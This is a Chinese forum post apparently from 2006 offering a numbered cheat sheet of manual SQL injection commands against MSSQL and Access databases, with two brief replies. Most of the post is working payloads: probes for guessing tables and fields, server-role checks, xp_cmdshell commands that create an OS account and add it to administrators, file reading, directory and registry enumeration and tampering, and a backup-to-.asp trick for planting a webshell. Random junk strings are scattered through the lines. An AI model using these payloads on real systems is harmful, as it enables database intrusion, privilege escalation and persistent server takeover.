社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5368阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 aU@1j;se@  
  2.初步判断是否是mssql ;and user>0 DJ9x?SL@KD  
/|lAxAm?  
  3.注入参数是字符'and [查询条件] and ''=' W4bN']?  
;E ,i  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' * F_KOf9p  
"jLC!h^N  
  5.判断数据库系统 da i+"  
cvQAo|  
  ;and (select count(*) from sysobjects)>0 mssql i{16&4 '  
<xe_t=N  
  ;and (select count(*) from msysobjects)>0 access Cg|\UKfy$  
LIrebz  
0 6M?ecN  
|MOz> 1<a  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 ddN G :  
DN iH" 0%  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 -L<FVB  
-$X4RS  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 *U}ztH-+/  
zkiwFEHA=  
  9.(1)猜字段的ascii值(access) !??g:2  
80`$F{xcX  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 f7|Tp m  
"LSzF_mK  
  (2)猜字段的ascii值(mssql) -w>ss&  
d"n"A?nXh  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Pf/8tXs}  
0yvp>{;p  
  10.测试权限结构(mssql) :wN !E{0j  
1 +Ue m  
1J72*`4OK  
*H i}FI  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--  Bnk '  
>t<\zC|~w  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6`vW4]zu  
m;A[ 2 6X  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- L^zh|MEyzk  
E NCWOj  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- T--%UZD]W  
awI{%u_(nA  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- CUHT5J*sY  
bdY:-8!3  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- nt+OaXe5D  
~A1!!rJX  
  ;and 1=(select IS_MEMBER('db_owner'));-- m=+x9gL2  
3<xDxj 0<  
>x3lA0m  
+jK-k_  
  11.添加mssql和系统的帐户 IibYGF  
,QpFVlPU  
  ;exec master.dbo.sp_addlogin username;-- gWoUE7.3`  
  ;exec master.dbo.sp_password null,username,password;-- <5,|h3]-#  
]31=8+D  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Y9>92#aME  
!%D';wQ,/  
  ;exec master.dbo.xp_cmdshell 'net user username password !nvg:$.&  
x}nBU q:  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3kk^hvB+f  
15q^&l[Q  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- Ibu9A wPm  
{~u Ti>U  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- D,R',(3  
b$%Kv(  
E4>}O;m0  
!_QT{H  
  12.(1)遍历目录 7 7y+ik  
k& +gkJm  
  ;create table dirs(paths varchar(100), id int) _ziSH 3(  
dq`{fqGl  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' 8e3eQ  
K!.t}s.t  
  ;and (select top 1 paths from dirs)>0 E>f{j:M  
l)dE7$H  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) AWYlhH4c?t  
>;' 0ymG.`  
SOOJqC  
Je6wio- 4  
  (2)遍历目录  qT!lq  
`}KxzD  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- w/ (c}%v}=  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )dqNN tS  
mJ=V <_  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 \wk;Bo  
@fJsRWvGq  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 CoNaGb  
<R;wa@a>  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 DU$#tg}{  
86N,04  
:i4(cap&}F  
k&%i+5X  
  13.mssql中的存储过程 IsE3-X|  
kY'Wf`y(  
  xp_regenumvalues 注册表根键, 子键 Ie!&FQe2q  
e\ cyiW0  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 -l57!s~V  
H$C*&p  
  xp_regread 根键,子键,键值名 lFnYQab  
]W14'Z  
  ;exec xp_regread Xd5s8C/}  
o2U5irU  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 t@9-LYbL  
V){Io_"  
  xp_regwrite 根键,子键, 值名, 值类型, 值 r6'dEa  
u*;H$&  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Wm`*IBWA  
p\&/m  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 7xv9v1['  
jhQoBC>:  
  xp_regdeletevalue 根键,子键,值名 =>`z k^  
 <{Y3}Q  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 NRJp8G Z%U  
|xcC'1WU  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 sdg2^]|  
QfAmGDaYQ  
_^#eO`4"  
 IPK1g3Z  
  14.mssql的backup创建webshell xh$yXP0/  
vm_]X{80;  
  use model W/xPVmnV  
S-q"'5>  
  create table cmd(str image); B I)@n:p  
qvB{vU  
  insert into cmd(str) values (''); m^!j)\sM5  
ufIvvZ*  
  backup database model to disk='c:\l.asp'; BJWlx*U]  
9!Q ZuZY  
(k #xF"yI  
 gmbRH5k  
  15.mssql内置函数 8]^|&"i.\d  
Wn+s:o v  
  ;and (select @@version)>0 获得Windows的版本号 X5[vQ3^  
anbw\yh8  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa \f? K74  
`| ?<KF164  
  ;and (select user_name())>0 爆当前系统的连接用户 O5-GrR^yt  
U(y8nI]  
  ;and (select db_name())>0 得到当前连接的数据库 W j^@Zq#  
$j\>T@  
QrK%DN  
B os`+Y  
  16.简洁的webshell CU\gx*=E  
b)Da6fp  
  use model ah,f~.X_|  
$M,<=.oT  
  create table cmd(str image); 4tLdqs  
PHqg~q;*  
  insert into cmd(str) values (''); J.R\h!  
6384$mT,S  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
枫
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录 或 注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八